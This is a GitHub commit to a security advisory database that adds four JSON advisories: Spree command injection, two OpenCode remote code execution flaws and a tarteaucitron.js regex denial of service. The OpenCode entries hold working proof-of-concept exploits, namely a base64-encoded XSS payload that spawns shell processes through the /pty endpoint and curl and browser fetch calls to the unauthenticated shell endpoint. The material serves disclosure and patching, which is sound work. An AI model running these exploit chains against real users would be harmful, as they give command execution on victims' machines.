Skip to content

Commit f280657

Browse files
1 parent 605eb43 commit f280657

4 files changed

Lines changed: 223 additions & 5 deletions

File tree

advisories/unreviewed/2025/08/GHSA-97vm-c39p-jr86/GHSA-97vm-c39p-jr86.json renamed to advisories/github-reviewed/2025/08/GHSA-97vm-c39p-jr86/GHSA-97vm-c39p-jr86.json

Lines changed: 34 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,12 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-97vm-c39p-jr86",
4-
"modified": "2025-09-24T03:30:26Z",
4+
"modified": "2026-01-13T20:33:40Z",
55
"published": "2025-08-13T21:30:30Z",
66
"aliases": [
77
"CVE-2011-10019"
88
],
9+
"summary": "Spree has Remote Command Execution vulnerability in search functionality",
910
"details": "Spreecommerce versions prior to 0.60.2 contains a remote command execution vulnerability in its search functionality. The application fails to properly sanitize input passed via the search[send][] parameter, which is dynamically invoked using Ruby’s send method. This allows attackers to execute arbitrary shell commands on the server without authentication.",
1011
"severity": [
1112
{
@@ -14,10 +15,30 @@
1415
},
1516
{
1617
"type": "CVSS_V4",
17-
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
19+
}
20+
],
21+
"affected": [
22+
{
23+
"package": {
24+
"ecosystem": "RubyGems",
25+
"name": "spree"
26+
},
27+
"ranges": [
28+
{
29+
"type": "ECOSYSTEM",
30+
"events": [
31+
{
32+
"introduced": "0"
33+
},
34+
{
35+
"fixed": "0.60.2"
36+
}
37+
]
38+
}
39+
]
1840
}
1941
],
20-
"affected": [],
2142
"references": [
2243
{
2344
"type": "ADVISORY",
@@ -27,6 +48,14 @@
2748
"type": "WEB",
2849
"url": "https://github.com/orgs/spree"
2950
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2011-10019.yml"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/spree/spree"
58+
},
3059
{
3160
"type": "WEB",
3261
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/spree_search_exec.rb"
@@ -50,8 +79,8 @@
5079
"CWE-94"
5180
],
5281
"severity": "CRITICAL",
53-
"github_reviewed": false,
54-
"github_reviewed_at": null,
82+
"github_reviewed": true,
83+
"github_reviewed_at": "2026-01-13T20:33:40Z",
5584
"nvd_published_at": "2025-08-13T21:15:29Z"
5685
}
5786
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c83v-7274-4vgp",
4+
"modified": "2026-01-13T20:36:42Z",
5+
"published": "2026-01-13T20:36:41Z",
6+
"aliases": [
7+
"CVE-2026-22813"
8+
],
9+
"summary": "Malicious website can execute commands on the local system through XSS in the OpenCode web UI",
10+
"details": "### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096 \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there's functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() => {\n const param = new URLSearchParams(document.location.search).get(\"url\")\n if (param) return param\n \n // [truncated]\n \n return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () => {\n // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};\n const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};\n const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});\n const pty_id = (await r.json())['id'];\n await new Promise(r => setTimeout(r, 500));\n await fetch('/pty/' + pty_id, {method: 'DELETE'})\n window.location.replace('https://example.com');\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n # [truncated]\n {\n # [truncated]\n \"parts\": [\n # [truncated]\n {\n \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n \"type\": \"text\",\n \"text\": f\"Hello, World!\\n<img src=\\\"/favicon.png\\\" onerror=\\\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\\\" style=\\\"display: none;\\\">\",\n \"time\": {\n \"start\": 1767963258360,\n \"end\": 1767963258360\n }\n },\n # [truncated]\n ]\n }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n if flow.request.path.split('?')[0] == '/session':\n flow.response.text = json.dumps([malicious_session], separators=(',', ':'))\n elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':\n flow.response.status_code = 200\n flow.response.text = json.dumps(malicious_session, separators=(',', ':'))\n elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':\n flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "opencode-ai"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.1.10"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22813"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/anomalyco/opencode"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-79"
55+
],
56+
"severity": "CRITICAL",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-01-13T20:36:41Z",
59+
"nvd_published_at": "2026-01-12T23:15:53Z"
60+
}
61+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-q5f6-qxm2-mcqm",
4+
"modified": "2026-01-13T20:35:28Z",
5+
"published": "2026-01-13T20:35:28Z",
6+
"aliases": [
7+
"CVE-2026-22809"
8+
],
9+
"summary": "tarteaucitron.js has Regular Expression Denial of Service (ReDoS) vulnerability",
10+
"details": "## Summary\n\nA potential Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the `issuu_id` parameter. \n\n## Details\n\nThe issue was caused by the use of insufficiently constrained regular expressions applied to attacker-controlled input:\n\n if (issuu_id.match(/\\d+\\/\\d+/)) {\n issuu_embed = '#' + issuu_id;\n } else if (issuu_id.match(/d=(.*)&u=(.*)/)) {\n issuu_embed = '?' + issuu_id;\n }\n\nThese expressions are not anchored and rely on greedy patterns (`.*`). When evaluated against specially crafted input, they may cause excessive backtracking, leading to high CPU consumption and potential denial of service.\n\n## Impact\n\nAn attacker able to control the `issuu_id` parameter could exploit this vulnerability to degrade performance or cause temporary service unavailability through CPU exhaustion.\n\nNo confidentiality or integrity impact was identified.\n\n## Fix https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52\n\nThe logic was simplified and hardened by removing ambiguous regular expressions and enforcing strict input validation:\n\n if (issuu_id.match(/^\\d+\\/\\d+$/)) {\n issuu_embed = '#' + issuu_id;\n } else {\n issuu_embed = '?' + issuu_id;\n }\n\nThis change eliminates the risk of catastrophic backtracking and prevents ReDoS conditions.\n\nAdditionally, code related to the legacy \"Alexa Rank\" service was removed. This service, historically provided by Alexa.com via browser toolbars and popularity rankings, has been deprecated for several years and is no longer operational. The Alexa domain is now exclusively associated with the Amazon voice assistant, and the original ranking service has been permanently discontinued.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "tarteaucitronjs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.29.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/AmauriC/tarteaucitron.js/security/advisories/GHSA-q5f6-qxm2-mcqm"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/AmauriC/tarteaucitron.js"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-1333"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-01-13T20:35:28Z",
59+
"nvd_published_at": null
60+
}
61+
}
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vxw4-wv6m-9hhh",
4+
"modified": "2026-01-13T20:35:08Z",
5+
"published": "2026-01-13T20:35:08Z",
6+
"aliases": [
7+
"CVE-2026-22812"
8+
],
9+
"summary": "OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution",
10+
"details": "*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\" # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d '{}' | jq -r '.id')\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n -d '{\"agent\": \"build\", \"command\": \"echo PWNED > /tmp/pwned.txt\"}'\ncat /tmp/pwned.txt # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch('http://127.0.0.1:4096/session', {\n method: 'POST',\n headers: {'Content-Type': 'application/json'},\n body: '{}'\n})\n.then(r => r.json())\n.then(session => {\n fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n method: 'POST',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})\n });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "opencode-ai"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.0.216"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22812"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/anomalyco/opencode"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-306",
59+
"CWE-749",
60+
"CWE-942"
61+
],
62+
"severity": "HIGH",
63+
"github_reviewed": true,
64+
"github_reviewed_at": "2026-01-13T20:35:08Z",
65+
"nvd_published_at": "2026-01-12T23:15:53Z"
66+
}
67+
}

0 commit comments

Comments
 (0)